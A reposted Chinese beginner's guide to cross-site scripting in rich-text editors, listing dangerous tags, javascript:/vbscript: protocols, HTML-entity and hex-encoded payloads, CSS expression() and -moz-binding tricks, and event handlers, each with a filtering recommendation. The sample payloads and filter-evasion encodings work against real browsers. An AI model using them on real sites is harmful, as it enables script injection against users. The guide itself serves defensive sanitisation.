黑客入门之富文本编辑器的跨站脚本问题

(注:可以有效的防止一些脚本注入,主要是通过关键字的屏蔽)

转自;http://www.bitscn.com/hack/young/200708/108278.html

富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户 POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对 IE浏览器. 网管联盟bitsCN@com

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

网管论坛bbs_bitsCN_com

类似如下的

网管网www_bitscn_com

tag: 网管u家bitscn.net

applet
base  
basefont
bgsound
blink
body
embed
frame
frameset
head  
html  
ilayer
iframe
layer 
link    
meta   
object
style
title
script

网管bitscn_com

-----------------------------------
类似这类

中国网管联盟bitsCN.com

<tag 网管朋友网www_bitscn_net

必须删除.

网管朋友网www_bitscn_net


二.针对HTML属性值的协议攻击. 网管朋友网www_bitscn_net

tag:

中国网管联盟bitsCN.com

dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound= 网管bitscn_com

黑客可能利用如下协议: 网管有家www.bitscn.net

脚本伪协议 网管有家bitscn.net

vbscript:
javascript: 网管联盟bitsCN_com

文件类协议

网管网www.bitscn.com

ms-its:
mhtml:
data: 网管下载dl.bitscn.com

第三方协议

中国网管论坛bbs.bitsCN.com

firefoxurl:
mocha:
livescript: 中国网管联盟bitsCN.com

---------------------------------
类似这类 网管朋友网www_bitscn_net

<xxx tag=xxx: 网管u家u.bitsCN.com

如: 网管联盟bitsCN_com

<IMG LOWSRC="javascript:alert('XSS')"> 网管bitscn_com

必须判断属性的用的啥协议,给个http:就好了.

网管网www_bitscn_com


三.针对普通HTML属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤. 网管联盟bitsCN@com

&# 加 ASCII格式

中国网管论坛bbs.bitsCN.com

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

中国网管联盟bitsCN.com

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> 网管u家u.bitscn@com

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 网管u家u.bitscn@com

---------------------------------
类似这类 网管u家u.bitscn@com

<xxx tag=&#

网管bitscn_com

必须判断属性的值&转换成 &amp; 网管u家www.bitscn.net


四.css样式style属性问题.

网管u家u.bitsCN.com

<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">

网管u家u.bitscn@com

style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤. 网管论坛bbs_bitsCN_com

behavior需指定域内也就是绝对路径的HTC文件,危害不大. 网管联盟bitsCN@com

expression可以构造不同的全角字符和注释符来扰乱过滤规则.

网管u家u.bitscn@com

如:

网管网www_bitscn_com

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 中国网管联盟bitsCN.com

<XSS STYLE="xss:exprEssion(alert('XSS'))">

网管u家bitscn.net

<div style="{ left:expression( alert('xss') ) }"> 网管网www.bitscn.com

---------------------------------
类似这类 网管有家www.bitscn.net

<xxx style="xxxxxxxxxx"

网管网www_bitscn_com

必须判断style属性的值, :( ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值.

网管bitscn_com


五.css样式style属性其他问题.

中国网管论坛bbs.bitsCN.com

<DIV STYLE="background-image: url(javascript:alert('XSS'))"> 网管bitscn_com

<DIV STYLE="list-style-image: url("javascript:alert('XSS')"> 网管有家bitscn.net

<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)">

网管朋友网www_bitscn_net

---------------------------------
类似这类

网管网www_bitscn_com

<xxx style="xxxxxxx:url(xxxxx)"

中国网管联盟bitsCN.com

还是判断协议头之类吧.

网管u家www.bitscn.net


六.针对普通style属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤. 网管bitscn_com

转义字符/ 加 16进制格式 网管有家www.bitscn.net

<DIV STYLE="background-image:/0075/0072/006C/0028'/006a/0061/0076/0061/0073/0063/0072/0069/0070/0074/003a/0061/006c/0065/0072/0074/0028.1027/0058.1053/0053/0027/0029'/0029">

网管u家u.bitscn@com


---------------------------------
类似这类 网管u家bitscn.net

<xxx style="xxxxxxx:/00xx/00xx" 网管有家bitscn.net

搞个正则过滤/+数字的字符串.

网管u家u.bitsCN.com


七.针对正常标签组合事件触发脚本的问题. 网管u家www.bitscn.net

黑客可以利用类似事件触发脚本: 网管u家www.bitscn.net

onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
.................................... 网管下载dl.bitscn.com

类似这类

网管网www.bitscn.com

<xxx on*=

网管有家bitscn.net

如:

中国网管论坛bbs.bitsCN.com

<img src=xx οnerrοr=alert(/xss/)>

网管下载dl.bitscn.com

情况都给过滤吧. 中国网管联盟bitsCN.com


八.第三方媒体文件,崭只针对FLASH与WEB交互的问题. 中国网管论坛bbs.bitsCN.com

FLASH的Action Script比较危险,可以和用户做交互式的访问. 中国网管联盟bitsCN.com

可以设置Flash对象的AllowScriptAccess参数为never来解决问题。 中国网管论坛bbs.bitsCN.com

AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain

中国网管论坛bbs.bitsCN.com

never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本 网管网www_bitscn_com


<embed src="demo.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值